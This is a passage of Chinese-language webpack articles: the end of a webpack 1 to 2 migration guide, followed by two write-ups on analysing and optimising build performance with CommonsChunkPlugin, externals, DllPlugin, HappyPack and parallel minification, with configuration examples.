+      publicPath: "/dist"
+    })
  ]
}

new ExtractTextPlugin({options})的配置书写方式将调整

plugins: [
-  new ExtractTextPlugin("bundle.css", { allChunks: true, disable: false })
+  new ExtractTextPlugin({
+    filename: "bundle.css",
+    disable: false,
+    allChunks: true
+  })
]

全量动态加载资源将默认失效

只有使用一个表达式的资源依赖引用(i. e. require(expr))，现在将创建一个空的context，而不是一个context的完整目录。

当在es2015的模块化中无法工作时，请最好重构这部分的代码，如果无法进行修改这部分代码，你可以在ContextReplacementPlugin中来提示编译器做出正确处理。

Cli使用自定义参数作为配置项传入方式将做调整

如果你随意将自定义参数通过cli传入到配置项中，如：

webpack --custom-stuff

// webpack.config.js
var customStuff = process.argv.indexOf("--custom-stuff") >= 0;
/* ... */
module.exports = config;

你会发现这将不会被允许，cli的执行将会遵循更为严格的标准。

取而代之的是用一个接口来做传递参数配置。这应该是新的代替方案，未来的工具开发也可能依赖于此。

webpack --env.customStuff

module.exports = function(env) {
  var customStuff = env.customStuff;
  /* ... */
  return config;
};

查看更多介绍 CLI.

require.ensure 和 AMD require将采用异步式调用

require.ensure和amd require将默认采用异步的加载方式来调用，而非之前的当模块请求加载完成后再在回调函数中同步触发。

require.ensure将基于原生的Promise对象重新实现，当你在使用 require.ensure 时请确保你的运行环境默认支持Promise对象，如果缺少则推荐使用安装polyfill.

Loader的配置项将通过options来设置

在webpack.config.js中将不再允许使用自定义属性来配置loder，这直接带来的一个影响是：在ts配置项中的自定义属性将无法在被在webpack2中正确使用：

module.exports = { 
  ...
  module: { 
    rules: [{ 
      test: /\.tsx?$/,
      loader: 'ts-loader'
    }]
  },
  // does not work with webpack 2
  ts: { transpileOnly: false } 
} 

什么是options?

这是一个非常好的提问，严格意义上来说，custom property和options均是用于webpack loader的配置方式，从更通俗的说法上看，options应该被称作query，作为一种类似字符串的形式被追加到每一个loader的命名后面，非常类似我们用于url中的查询字符串，但在实际应用中功能要更为强大。

module.exports = { 
  ...
  module: { 
    rules: [{ 
      test: /\.tsx?$/,
      loader: 'ts-loader?' + JSON.stringify({ transpileOnly: false })
    }]
  }
} 

options也可作为一个独立的字面对象量，在loader的配置中搭配使用。

module.exports = { 
  ...
  module: { 
    rules: [{ 
      test: /\.tsx?$/,
      loader: 'ts-loader'
      options:  { transpileOnly: false }
    }]
  }
} 

LoaderOptionsPlugin context

部分loader需要配置context信息， 并且支持从配置文件中读取。这需要loader通过用长选项传递进来，更多loader的明细配置项可以查阅相关文档。

为了兼容部分旧式的loader配置，也可以采用如下插件的形式来进行配置：

  plugins: [
+   new webpack.LoaderOptionsPlugin({
+     options: {
+       context: __dirname
+     }
+   })
  ]

debug

debug作为loader中的一个调试模式选项，可以在webpack1的配置中灵活切换。在webpack2中，则需要loader通过用长选项传递进来，更多loader的明细配置项可以查阅相关文档。

loder的debug模式在webpack3.0或者后续版本中将会被移除。

为了兼容部分旧式的loader配置，也可以采用如下插件的形式来进行配置：

- debug: true,
  plugins: [
+   new webpack.LoaderOptionsPlugin({
+     debug: true
+   })
  ]

Code Splitting with ES2015

在webpack1中，你需要使用require.ensure实现chunks的懒加载，如：

require.ensure([], function(require) {
  var foo = require("./module");
});

在es2015的 loader中通过定义import()作为资源加载方法，当读取到符合ES2015规范的模块时，可实现模块中的内容在运行时动态加载。

webpack在处理import()时可以实现按需提取开发中所用到的模块资源，再写入到各个独立的chunk中。webpack2已经支持原生的 ES6 的模块加载器了，这意味着 webpack 2 能够理解和处理 import和export了。

import()支持将模块名作为参数出入并且返回一个Promise对象。

function route(path, query) {
  return import(`./routes/${path}/route`)
    .then(route => new route.Route(query));
}
// This creates a separate chunk for each possible route

这样做的还有一个额外的好处就是当我们的模块加载失败时也可以被捕获到了，因为这些都会遵循Promise的标准来实现。

值得注意的地方：require.ensure的第三个参数选项允许使用简单的chunk命名方式，但是import API中将不被支持，如果你希望继续采用函数式的写法，你可以继续使用require.ensure。

require.ensure([], function(require) {
  var foo = require("./module");
}, "custom-chunk-name");

（注： System.import将会被弃用，webpack中将不再推荐使用 System.import，官方也推荐使用import进行替换，详见v2.1.0-beta.28 ）

如果想要继续使用Babel中提供的import，你需要独立安装 dynamic-import插件并且选择babel的Stage 3来捕获时的错误， 当然这也可以根据实际情况来操作而不做强制约束。

Dynamic expressions 动态表达式

现在import()中的传参可支持部分表达式的写法了，如果之前有接触过CommonJS中require()表达式写法，应该不会对此感到陌生,（它的操作其实和 CommonJS 是类似的，给所有可能的文件创建一个环境，当你传递那部分代码的模块还不确定的时候，webpack 会自动生成所有可能的模块，然后根据需求加载。这个特性在前端路由的时候很有用，可以实现按需加载资源）

import() 会针对每一个读取到的module创建独立的separte chunk。

function route(path, query) {
  return import(`./routes/${path}/route`)
    .then(route => new route.Route(query));
}
// This creates a separate chunk for each possible route

可以混用 ES2015 和 AMD 和 CommonJS

在 AMD 和 CommonJS 模块加载器中，你可以混合使用所有（三种）的模块类型（即使是在同一个文件里面）。

// CommonJS consuming ES2015 Module
var book = require("./book");
book.currentPage;
book.readPage();
book.default === "This is a book";

// ES2015 Module consuming CommonJS
import fs from "fs"; // module.exports map to default
import { readFileSync } from "fs"; // named exports are read from returned object+

typeof fs.readFileSync === "function";
typeof readFileSync === "function";

注：es2015 balel 的默认预处理会把 ES6 模块加载器转化成 CommonJS 模块加载。要是想使用 webpack 新增的对原生 ES6 模块加载器的支持，你需要使用 es2015-webpack 来代替，另外如果你希望继续使用babel，则需要通过配置babel项，使其不会强制解析这部分的module symbols以便webpack能正确使用它们，babel的配置如下：

.babelrc

{
  "presets": [
    ["es2015", { "modules": false }]
  ]
}

Template strings 模板字符串

webpack中的资源参数已经开始支持模板字符串了，这意味着你可以使用如下的配置写法：

- require("./templates/" + name);
+ require(`./templates/${name}`);

配置支持项支持Promise

webpack现在在配置文件项中返回Promise了，这就允许你在配置中可以进行一些异步的写法了，如下所示：

webpack.config.js

module.exports = function() {
  // 异步读取语言包
  return fetchLangs().then(lang => ({
    entry: "...",
    // ...
    plugins: [
      new DefinePlugin({ LANGUAGE: lang })
    ]
  }));
};

Loader匹配支持更多的高级写法

webpack中的loader配置支持如下写法：

module: {
  rules: [
    {
      resource: /filename/, // matches "/path/filename.js"
      resourceQuery: /querystring/, // matches "/filename.js?querystring"
      issuer: /filename/, // matches "/path/something.js" if requested from "/path/filename.js"
    }
  ]
}

更多的CLI参数项

如下有更多的CLI 参数项可用：

--define process.env.NODE_ENV="production" 支持直接配置DefinePlugin.

--display-depth 能显示每个entry中的module的资源深度

--display-used-exports 能显示每个module中依赖使用了哪些资源.

--display-max-modules 能限制显示output中引用到的资源数量 (默认显示15个).

-p 指定当前的编译环境为生产环境，即修改：process.env.NODE_ENV 为 "production"

Cacheable 缓存项

Loaders现在将默认开启资源缓存了，如果你不希望loader读缓存则需要在配置中指明：

  // Cacheable loader
  module.exports = function(source) {
-   this.cacheable();
    return source;
  }

  // Not cacheable loader
  module.exports = function(source) {
+   this.cacheable(false);
    return source;
  }

Complex options 复合参数项写法

webpack1中的loader参数项中只支持JSON.stringify-able这种json字符串的写法；

webpack2中的loader参数项中已经可以支持任意的JS对象的写法了。

使用复合选项时会有一个限制，你需要配置一个ident作为项来保证能正确引用到其他的loader，这意味着通过配置我们可以在内联写法中去调用对应依赖的加载器，如下：

require("some-loader??by-ident!resource")

{
  test: /.../,
  loader: "...",
  options: {
    ident: "by-ident",
    magic: () => return Math.random()
  }
}

这种写法在平常开发中用的不算多，但是有一种场景下会比较有用，就是当我们的loader需要去生成独立的代码片段时，如，我们在使用style-loader生成一个模块时，需要依赖前面的loader计算的结果。

// style-loader generated code (simplified)
var addStyle = require("./add-style");
var css = require("-!css-loader?{"modules":true}!postcss-loader??postcss-ident");
addStyle(css);

在这种复杂选项的使用时ident就有用武之地了。

结尾

webpack2无论是从优化资源配置项，到向es6 module，Promise等新标准接轨，再到编译环境和性能的优化，再到API设计的整体规范性上，相对V1的改进还是非常显著的，希望大家多多尝试，及时反馈交流，让webapck的生态圈变得日益活跃强大。

webpack打包分析与性能优化

背景

在去年年末参与的一个项目中，项目技术栈使用react+es6+ant-design+webpack+babel，生产环境全量构建将近三分钟，项目业务模块多达数百个，项目依赖数千个，并且该项目协同前后端开发人员较多，提高webpack 构建效率，成为了改善团队开发效率的关键之一。

下面我将在项目中遇到的问题和技术方案沉淀出来与大家做个分享

从项目自身出发

我们的项目是将js分离，不同页面加载不同的js。然而分析webpack打包过程并针对性提出优化方案是一个比较繁琐的过程，首先我们需要知道webpack 打包的流程，从而找出时间消耗比较长的步骤，进而逐步进行优化。

在优化前，我们需要找出性能瓶颈在哪，代码组织是否合理，优化相关配置，从而提升webpack构建速度。

1.使用yarn而不是npm

由于项目使用npm安装包，容易导致在多关联依赖关系中，很可能某个库在指定依赖时没有指定版本号，进而导致不同设备上拉到的package版本不一。yarn不管安装顺序如何，相同的依赖关系将以相同的方式安装在任何机器上。当关联依赖中包括对某个软件包的重复引用，在实际安装时将尽量避免重复的创建。yarn不仅可以缓存它安装过的包，而且安装速度快，使用yarn无疑可以很大程度改善工作流和工作效率

2.删除没有使用的依赖

很多时候，我们由于项目人员变动比较大，参与项目的人也比较多，在分析项目时，我发现了一些问题，诸如：有些文件引入进来的库没有被使用到也没有及时删除，例如：

import a from 'abc';

在业务中并没有使用到a 模块，但webpack 会针对该import 进行打包一遍，这无疑造成了性能的浪费。

webpack打包分析

1.打包过程分析

我们知道，webpack 在打包过程中会针对不同的资源类型使用不同的loader处理，然后将所有静态资源整合到一个bundle里，以实现所有静态资源的加载。webpack最初的主要目的是在浏览器端复用符合CommonJS规范的代码模块，而CommonJS模块每次修改都需要重新构建(rebuild)后才能在浏览器端使用。

那么， webpack是如何进行资源的打包的呢？总结如下：

• 对于单入口文件，每个入口文件把自己所依赖的资源全部打包到一起，即使一个资源循环加载的话，也只会打包一份
• 对于多入口文件的情况，分别独立执行单个入口的情况，每个入口文件各不相干

我们的项目使用的就是多入口文件。在入口文件中，webpack会对每个资源文件进行配置一个id，即使多次加载，它的id也是一样的，因此只会打包一次。

实例如下：
main.js引用了chunk1、chunk2,chunk1又引用了chunk2，打包后：bundle.js:

 ...省略webpack生成代码
/************************************************************************/
/******/ ([
/* 0 */
/***/ function(module, exports, __webpack_require__) {

    __webpack_require__(1);//webpack分配的id
    __webpack_require__(2);

/***/ },
/* 1 */
/***/ function(module, exports, __webpack_require__) {
    //chunk1.js文件
    __webpack_require__(2);
    var chunk1=1;
    exports.chunk1=chunk1;

/***/ },
/* 2 */
/***/ function(module, exports) {
    //chunk2.js文件
    var chunk2=1;
    exports.chunk2=chunk2;

/***/ }
/******/ ]);

2.如何定位webpack打包速度慢的原因

我们首先需要定位webpack打包速度慢的原因，才能因地制宜采取合适的方案。我么可以在终端中输入：

$ webpack --profile --json > stats.json

然后将输出的json文件到如下两个网站进行分析

• https://github.com/webpack/an...
• http://alexkuz.github.io/webp...

这两个网站可以将构建后的组成用可视化的方式呈现出来，可以让你清楚的看到模块的组成部分，以及在项目中可能存在的多版本引用的问题，对于分析项目依赖有很大的帮助

优化方案与思路

针对webpack构建大规模应用的优化往往比较复杂，我们需要抽丝剥茧，从性能提升点着手，可能没有一套通用的方案，但大体上的思路是通用的，核心思路可能包括但不限于如下：

1）：拆包，限制构建范围，减少资源搜索时间，无关资源不要参与构建

2）：使用增量构建而不是全量构建

3）：从webpack存在的不足出发，优化不足，提升效率

webpack打包优化

1.减小打包文件体积

webpack+react的项目打包出来的文件经常动则几百kb甚至上兆，究其原因有：

• import css文件的时候，会直接作为模块一并打包到js文件中
• 所有js模块 + 依赖都会打包到一个文件
• React、ReactDOM文件过大

针对第一种情况，我们可以使用 extract-text-webpack-plugin，但缺点是会产生更长时间的编译，也没有HMR，还会增加额外的HTTP请求。对于css文件不是很大的情况最好还是不要使用该插件。

针对第二种情况，我们可以通过提取公共代码块，这也是比较普遍的做法：

 new webpack.optimize.CommonsChunkPlugin('common.js');

通过这种方法，我们可以有效减少不同入口文件之间重叠的代码，对于非单页应用来说非常重要。

针对第三种情况，我们可以把React、ReactDOM缓存起来：

    entry: {
        vendor: ['react', 'react-dom']
    },
    new webpack.optimize.CommonsChunkPlugin('vendor','common.js'),

我们在开发环境使用react的开发版本，这里包含很多注释，警告等等，部署线上的时候可以通过 webpack.DefinePlugin 来切换生产版本。

当然，我们还可以将React 直接放到CDN上，以此来减少体积。

2.代码压缩

webpack提供的UglifyJS插件由于采用单线程压缩，速度很慢 ,
webpack-parallel-uglify-plugin插件可以并行运行UglifyJS插件，这可以有效减少构建时间，当然，该插件应用于生产环境而非开发环境，配置如下：

var ParallelUglifyPlugin = require('webpack-parallel-uglify-plugin');
new ParallelUglifyPlugin({
   cacheDir: '.cache/',
   uglifyJS:{
     output: {
       comments: false
     },
     compress: {
       warnings: false
     }
   }
 })

3.happypack

happypack 的原理是让loader可以多进程去处理文件，原理如图示：

此外，happypack同时还利用缓存来使得rebuild 更快

var HappyPack = require('happypack'),
  os = require('os'),
  happyThreadPool = HappyPack.ThreadPool({ size: os.cpus().length });

modules: {
    loaders: [
      {
        test: /\.js|jsx$/,
        loader: 'HappyPack/loader?id=jsHappy',
        exclude: /node_modules/
      }
    ]
}

plugins: [
    new HappyPack({
      id: 'jsHappy',
      cache: true,
      threadPool: happyThreadPool,
      loaders: [{
        path: 'babel',
        query: {
          cacheDirectory: '.webpack_cache',
          presets: [
            'es2015',
            'react'
          ]
        }
      }]
    }),
    //如果有单独提取css文件的话
    new HappyPack({
      id: 'lessHappy',
      loaders: ['style','css','less']
    })
  ]

4.缓存与增量构建

由于项目中主要使用的是react.js和es6，结合webpack的babel-loader加载器进行编译，每次重新构建都需要重新编译一次，我们可以针对这个进行增量构建，而不需要每次都全量构建。

babel-loader可以缓存处理过的模块，对于没有修改过的文件不会再重新编译，cacheDirectory有着2倍以上的速度提升，这对于rebuild 有着非常大的性能提升。

var node_modules = path.resolve(__dirname, 'node_modules');
var pathToReact = path.resolve(node_modules, 'react/react');
var pathToReactDOM = path.resolve(node_modules,'react-dom/index');

{
        test: /\.js|jsx$/,
        include: path.join(__dirname, 'src'),
        exclude: /node_modules/,
        loaders: ['react-hot','babel-loader?cacheDirectory'],
        noParse: [pathToReact,pathToReactDOM]
}

babel-loader让除了node_modules目录下的js文件都支持es6语法，注意 exclude: /node_modules/很重要，否则 babel 可能会把node_modules中所有模块都用 babel 编译一遍!
当然，你还需要一个像这样的.babelrc文件，配置如下：

{
  "presets": ["es2015", "stage-0", "react"],
  "plugins": ["transform-runtime"]
}

这是一劳永逸的做法，何乐而不为呢？除此之外，我们还可以使用webpack自带的cache，以缓存生成的模块和chunks以提高多个增量构建的性能。

在webpack的整个构建过程中，有多个地方提供了缓存的机会，如果我们打开了这些缓存，会大大加速我们的构建

而针对增量构建 ，我们一般使用:

webpack-dev-server或webpack-dev-middleware，这里我们使用webpack-dev-middleware：

webpackDevMiddleware(compiler, {
                    publicPath: webpackConfig.output.publicPath,
                    stats: {
                      chunks: false,
                      colors: true
                    },
                    debug: true,
                    hot: true,
                    lazy: false,
                    historyApiFallback: true,
                    poll: true
                })

通过设置chunks:false，可以将控制台输出的代码块信息关闭

5.减少构建搜索或编译路径

为了加快webpack打包时对资源的搜索速度，有很多的做法：

• Resolove.root VS Resolove.moduledirectories

大多数路径应该使用 resolve.root，只对嵌套的路径使用 Resolove.moduledirectories，这可以获得显著的性能提升

原因是Resolove.moduledirectories是取相对路径，所以比起 resolve.root会多parse很多路径：

resolve: {
    root: path.resolve(__dirname,'src'),
    modulesDirectories: ['node_modules']
  },

• DLL & DllReference

针对第三方NPM包，这些包我们并不会修改它，但仍然每次都要在build的过程消耗构建性能，我们可以通过DllPlugin来前置这些包的构建，具体实例：https://github.com/webpack/we...

• alias和noPase

resolve.alias 是webpack 的一个配置项，它的作用是把用户的一个请求重定向到另一个路径。 比如：

resolve: {  // 显示指出依赖查找路径
    alias: {
        comps: 'src/pages/components'
    }
}

这样我们在要打包的脚本中的使用 require('comps/Loading.jsx');其实就等价于require('src/pages/components/Loading.jsx')。

webpack 默认会去寻找所有 resolve.root 下的模块，但是有些目录我们是可以明确告知 webpack 不要管这里，从而减轻 webpack 的工作量。这时会用到module.noParse 参数

在项目中合理使用 alias 和 noParse 可以有效提升效率，虽然不是很明显

以上配置均由本人给出，仅供参考（有些插件的官方文档给的不是那么明晰）

6.其他

• 开启devtool: "#inline-source-map"会增加编译时间
• css-loader 0.15.0+ 使webpack加载变得缓慢

//css-loader 0.16.0
Hash: 8d3652a9b4988c8ad221
Version: webpack 1.11.0
Time: 51612ms

//以下是css-loader 0.14.5
Hash: bd471e6f4aa10b195feb
Version: webpack 1.11.0
Time: 6121ms

• 对于ant-design模块，使用babel-plugin-import插件来按需加载模块
• DedupePlugin插件可以在打包的时候删除重复或者相似的文件，实际测试中应该是文件级别的重复的文件

结尾

虽然上面的做法减少了文件体积，加快了编译速度，整体构建(initial build)从最初的三分多钟到一分钟，rebuild十多秒，优化效果明显。但对于Webpack + React项目来说，性能优化方面远不止于此，还有很多的优化空间，比如服务端渲染，首屏优化，异步加载模块，按需加载，代码分割等等

背景

如今前端工程化的概念早已经深入人心，选择一款合适的编译和资源管理工具已经成为了所有前端工程中的标配，而在诸多的构建工具中，webpack以其丰富的功能和灵活的配置而深受业内吹捧，逐步取代了grunt和gulp成为大多数前端工程实践中的首选，React，Vue，Angular等诸多知名项目也都相继选用其作为官方构建工具，极受业内追捧。但是，随者工程开发的复杂程度和代码规模不断地增加，webpack暴露出来的各种性能问题也愈发明显，极大的影响着开发过程中的体验。

问题归纳

历经了多个web项目的实战检验，我们对webapck在构建中逐步暴露出来的性能问题归纳主要有如下几个方面：

• 代码全量构建速度过慢，即使是很小的改动，也要等待长时间才能查看到更新与编译后的结果（引入HMR热更新后有明显改进）；
• 随着项目业务的复杂度增加，工程模块的体积也会急剧增大，构建后的模块通常要以M为单位计算；
• 多个项目之间共用基础资源存在重复打包，基础库代码复用率不高；
• node的单进程实现在耗cpu计算型loader中表现不佳；

针对以上的问题，我们来看看怎样利用webpack现有的一些机制和第三方扩展插件来逐个击破。

慢在何处

作为工程师，我们一直鼓励要理性思考，用数据和事实说话，“我觉得很慢”，“太卡了”，“太大了”之类的表述难免显得太笼统和太抽象，那么我们不妨从如下几个方面来着手进行分析：

• 从项目结构着手，代码组织是否合理，依赖使用是否合理；
• 从webpack自身提供的优化手段着手，看看哪些api未做优化配置；
• 从webpack自身的不足着手，做有针对性的扩展优化，进一步提升效率；

在这里我们推荐使用一个wepback的可视化资源分析工具：webpack-bundle-analyzer，在webpack构建的时候会自动帮你计算出各个模块在你的项目工程中的依赖与分布情况，方便做更精确的资源依赖和引用的分析。

从上图中我们不难发现大多数的工程项目中，依赖库的体积永远是大头，通常体积可以占据整个工程项目的7-9成，而且在每次开发过程中也会重新读取和编译对应的依赖资源，这其实是很大的的资源开销浪费，而且对编译结果影响微乎其微，毕竟在实际业务开发中，我们很少会去主动修改第三方库中的源码，改进方案如下：

方案一、合理配置 CommonsChunkPlugin

webpack的资源入口通常是以entry为单元进行编译提取，那么当多entry共存的时候，CommonsChunkPlugin的作用就会发挥出来，对所有依赖的chunk进行公共部分的提取，但是在这里可能很多人会误认为抽取公共部分指的是能抽取某个代码片段，其实并非如此，它是以module为单位进行提取。

假设我们的页面中存在entry1，entry2，entry3三个入口，这些入口中可能都会引用如utils，loadash，fetch等这些通用模块，那么就可以考虑对这部分的共用部分机提取。通常提取方式有如下四种实现：

1、传入字符串参数，由chunkplugin自动计算提取

new webpack.optimize.CommonsChunkPlugin('common.js')

这种做法默认会把所有入口节点的公共代码提取出来, 生成一个common.js

2、有选择的提取公共代码

new webpack.optimize.CommonsChunkPlugin('common.js',['entry1','entry2']);

只提取entry1节点和entry2中的共用部分模块, 生成一个common.js

3、将entry下所有的模块的公共部分（可指定引用次数）提取到一个通用的chunk中

new webpack.optimize.CommonsChunkPlugin({
    name: 'vendors',
    minChunks: function (module, count) {
       return (
          module.resource &&
          /\.js$/.test(module.resource) &&
          module.resource.indexOf(
            path.join(__dirname, '../node_modules')
          ) === 0
       )
    }
});

提取所有node_modules中的模块至vendors中，也可以指定minChunks中的最小引用数；

4、抽取enry中的一些lib抽取到vendors中

entry = {
    vendors: ['fetch', 'loadash']
};
new webpack.optimize.CommonsChunkPlugin({
    name: "vendors",
    minChunks: Infinity
});

添加一个entry名叫为vendors，并把vendors设置为所需要的资源库，CommonsChunk会自动提取指定库至vendors中。

方案二、通过 externals 配置来提取常用库

在实际项目开发过程中，我们并不需要实时调试各种库的源码，这时候就可以考虑使用external选项了。

简单来说external就是把我们的依赖资源声明为一个外部依赖，然后通过script外链脚本引入。这也是我们早期页面开发中资源引入的一种翻版，只是通过配置后可以告知webapck遇到此类变量名时就可以不用解析和编译至模块的内部文件中，而改用从外部变量中读取，这样能极大的提升编译速度，同时也能更好的利用CDN来实现缓存。

external的配置相对比较简单，只需要完成如下三步：

1、在页面中加入需要引入的lib地址，如下：

<head>
<script data-original="//cdn.bootcss.com/jquery.min.js"></script>
<script data-original="//cdn.bootcss.com/underscore.min.js"></script>
<script data-original="/static/common/react.min.js"></script>
<script data-original="/static/common/react-dom.js"></script>
<script data-original="/static/common/react-router.js"></script>
<script data-original="/static/common/immutable.js"></script>
</head>

2、在webapck.config.js中加入external配置项：

module.export = {
    externals: {
        'react-router': {
            amd: 'react-router',
            root: 'ReactRouter',
            commonjs: 'react-router',
            commonjs2: 'react-router'
        },
        react: {
            amd: 'react',
            root: 'React',
            commonjs: 'react',
            commonjs2: 'react'
        },
        'react-dom': {
            amd: 'react-dom',
            root: 'ReactDOM',
            commonjs: 'react-dom',
            commonjs2: 'react-dom'
        }
    }
}

这里要提到的一个细节是：此类文件在配置前，构建这些资源包时需要采用amd/commonjs/cmd相关的模块化进行兼容封装，即打包好的库已经是umd模式包装过的，如在node_modules/react-router中我们可以看到umd/ReactRouter.js之类的文件，只有这样webpack中的require和import * from 'xxxx'才能正确读到该类包的引用，在这类js的头部一般也能看到如下字样：

if (typeof exports === 'object' && typeof module === 'object') {
    module.exports = factory(require("react"));
} else if (typeof define === 'function' && define.amd) {
    define(["react"], factory);
} else if (typeof exports === 'object') {
    exports["ReactRouter"] = factory(require("react"));
} else {
    root["ReactRouter"] = factory(root["React"]);
}

3、非常重要的是一定要在output选项中加入如下一句话：

output: {
  libraryTarget: 'umd'
}

由于通过external提取过的js模块是不会被记录到webapck的chunk信息中，通过libraryTarget可告知我们构建出来的业务模块，当读到了externals中的key时，需要以umd的方式去获取资源名，否则会有出现找不到module的情况。

通过配置后，我们可以看到对应的资源信息已经可以在浏览器的source map中读到了。

对应的资源也可以直接由页面外链载入，有效地减小了资源包的体积。

方案三、利用 DllPlugin 和 DllReferencePlugin 预编译资源模块

我们的项目依赖中通常会引用大量的npm包，而这些包在正常的开发过程中并不会进行修改，但是在每一次构建过程中却需要反复的将其解析，如何来规避此类损耗呢？这两个插件就是干这个用的。

简单来说DllPlugin的作用是预先编译一些模块，而DllReferencePlugin则是把这些预先编译好的模块引用起来。这边需要注意的是DllPlugin必须要在DllReferencePlugin执行前先执行一次，dll这个概念应该也是借鉴了windows程序开发中的dll文件的设计理念。

相对于externals，dllPlugin有如下几点优势：

• dll预编译出来的模块可以作为静态资源链接库可被重复使用，尤其适合多个项目之间的资源共享，如同一个站点pc和手机版等；

• dll资源能有效地解决资源循环依赖的问题，部分依赖库如：react-addons-css-transition-group这种原先从react核心库中抽取的资源包，整个代码只有一句话：

  module.exports = require('react/lib/ReactCSSTransitionGroup');

  却因为重新指向了react/lib中，这也会导致在通过externals引入的资源只能识别react,寻址解析react/lib则会出现无法被正确索引的情况。

• 由于externals的配置项需要对每个依赖库进行逐个定制，所以每次增加一个组件都需要手动修改，略微繁琐，而通过dllPlugin则能完全通过配置读取，减少维护的成本；

1、配置dllPlugin对应资源表并编译文件

那么externals该如何使用呢，其实只需要增加一个配置文件：webpack.dll.config.js：

const webpack = require('webpack');
const path = require('path');
const isDebug = process.env.NODE_ENV === 'development';
const outputPath = isDebug ? path.join(__dirname, '../common/debug') : path.join(__dirname, '../common/dist');
const fileName = '[name].js';

// 资源依赖包，提前编译
const lib = [
  'react',
  'react-dom',
  'react-router',
  'history',
  'react-addons-pure-render-mixin',
  'react-addons-css-transition-group',
  'redux',
  'react-redux',
  'react-router-redux',
  'redux-actions',
  'redux-thunk',
  'immutable',
  'whatwg-fetch',
  'byted-people-react-select',
  'byted-people-reqwest'
];

const plugin = [
  new webpack.DllPlugin({
    /**
     * path
     * 定义 manifest 文件生成的位置
     * [name]的部分由entry的名字替换
     */
    path: path.join(outputPath, 'manifest.json'),
    /**
     * name
     * dll bundle 输出到那个全局变量上
     * 和 output.library 一样即可。
     */
    name: '[name]',
    context: __dirname
  }),
  new webpack.optimize.OccurenceOrderPlugin()
];

if (!isDebug) {
  plugin.push(
    new webpack.DefinePlugin({
      'process.env.NODE_ENV': JSON.stringify('production')
    }),
    new webpack.optimize.UglifyJsPlugin({
      mangle: {
        except: ['$', 'exports', 'require']
      },
      compress: { warnings: false },
      output: { comments: false }
    })
  )
}

module.exports = {
  devtool: '#source-map',
  entry: {
    lib: lib
  },
  output: {
    path: outputPath,
    filename: fileName,
    /**
     * output.library
     * 将会定义为 window.${output.library}
     * 在这次的例子中，将会定义为`window.vendor_library`
     */
    library: '[name]',
    libraryTarget: 'umd',
    umdNamedDefine: true
  },
  plugins: plugin
};

然后执行命令：

 $ NODE_ENV=development webpack --config  webpack.dll.lib.js --progress
 $ NODE_ENV=production webpack --config  webpack.dll.lib.js --progress 

即可分别编译出支持调试版和生产环境中lib静态资源库，在构建出来的文件中我们也可以看到会自动生成如下资源：

common
├── debug
│   ├── lib.js
│   ├── lib.js.map
│   └── manifest.json
└── dist
    ├── lib.js
    ├── lib.js.map
    └── manifest.json

文件说明：

• lib.js可以作为编译好的静态资源文件直接在页面中通过src链接引入，与externals的资源引入方式一样，生产与开发环境可以通过类似charles之类的代理转发工具来做路由替换；
• manifest.json中保存了webpack中的预编译信息，这样等于提前拿到了依赖库中的chunk信息，在实际开发过程中就无需要进行重复编译；

2、dllPlugin的静态资源引入

lib.js和manifest.json存在一一对应的关系，所以我们在调用的过程也许遵循这个原则，如当前处于开发阶段，对应我们可以引入common/debug文件夹下的lib.js和manifest.json，切换到生产环境的时候则需要引入common/dist下的资源进行对应操作，这里考虑到手动切换和维护的成本，我们推荐使用add-asset-html-webpack-plugin进行依赖资源的注入，可得到如下结果：

<head>
<script data-original="/static/common/lib.js"></script>
</head>

在webpack.config.js文件中增加如下代码：

const isDebug = (process.env.NODE_ENV === 'development');
const libPath = isDebug ? '../dll/lib/manifest.json' : 
'../dll/dist/lib/manifest.json';

// 将mainfest.json添加到webpack的构建中

module.export = {
  plugins: [
       new webpack.DllReferencePlugin({
       context: __dirname,
       manifest: require(libPath),
      })
  ]
}

配置完成后我们能发现对应的资源包已经完成了纯业务模块的提取

多个工程之间如果需要使用共同的lib资源，也只需要引入对应的lib.js和manifest.js即可，plugin配置中也支持多个webpack.DllReferencePlugin同时引入使用，如下：

module.export = {
  plugins: [
     new webpack.DllReferencePlugin({
        context: __dirname,
        manifest: require(libPath),
      }),
      new webpack.DllReferencePlugin({
        context: __dirname,
        manifest: require(ChartsPath),
      })
  ]
}

方案四、使用 Happypack 加速你的代码构建

以上介绍均为针对webpack中的chunk计算和编译内容的优化与改进，对资源的实际体积改进上也较为明显，那么除此之外，我们能否针对资源的编译过程和速度优化上做些尝试呢？

众所周知，webpack中为了方便各种资源和类型的加载，设计了以loader加载器的形式读取资源，但是受限于node的编程模型影响，所有的loader虽然以async的形式来并发调用，但是还是运行在单个 node的进程以及在同一个事件循环中，这就直接导致了当我们需要同时读取多个loader文件资源时，比如babel-loader需要transform各种jsx，es6的资源文件。在这种同步计算同时需要大量耗费cpu运算的过程中，node的单进程模型就无优势了，那么happypack就针对解决此类问题而生。

开启happypack的线程池

happypack的处理思路是将原有的webpack对loader的执行过程从单一进程的形式扩展多进程模式，原本的流程保持不变，这样可以在不修改原有配置的基础上来完成对编译过程的优化，具体配置如下：

 const HappyPack = require('happypack');
 const os = require('os')
 const HappyThreadPool = HappyPack.ThreadPool({ size: os.cpus().length}); // 启动线程池});

module:{
    rules: [
      {
        test: /\.(js|jsx)$/,
        // use: ['babel-loader?cacheDirectory'],
        use: 'happypack/loader?id=jsx',
        exclude: /^node_modules$/
      }
    ]
  },
  plugins:[
    new HappyPack({
     id: 'jsx',
     cache: true,
     threadPool: HappyThreadPool,
     loaders: ['babel-loader']
   })
  ]

我们可以看到通过在loader中配置直接指向happypack提供的loader，对于文件实际匹配的处理 loader，则是通过配置在plugin属性来传递说明，这里happypack提供的loader与plugin的衔接匹配，则是通过id=happybabel来完成。配置完成后，laoder的工作模式就转变成了如下所示：

happypack在编译过程中除了利用多进程的模式加速编译，还同时开启了cache计算，能充分利用缓存读取构建文件，对构建的速度提升也是非常明显的，经过测试，最终的构建速度提升如下：

优化前：

优化后：

关于happyoack的更多介绍可以查看：

• happypack
• happypack 原理解析

方案五、增强 uglifyPlugin

uglifyJS凭借基于node开发，压缩比例高，使用方便等诸多优点已经成为了js压缩工具中的首选，但是我们在webpack的构建中观察发现，当webpack build进度走到80%前后时，会发生很长一段时间的停滞，经测试对比发现这一过程正是uglfiyJS在对我们的output中的bunlde部分进行压缩耗时过长导致，针对这块我们可以使用webpack-uglify-parallel来提升压缩速度。

从插件源码中可以看到，webpack-uglify-parallel的是实现原理是采用了多核并行压缩的方式来提升我们的压缩速度。

plugin.nextWorker().send({
    input: input,
    inputSourceMap: inputSourceMap,
    file: file,
    options: options
});

plugin._queue_len++;
                
if (!plugin._queue_len) {
    callback();
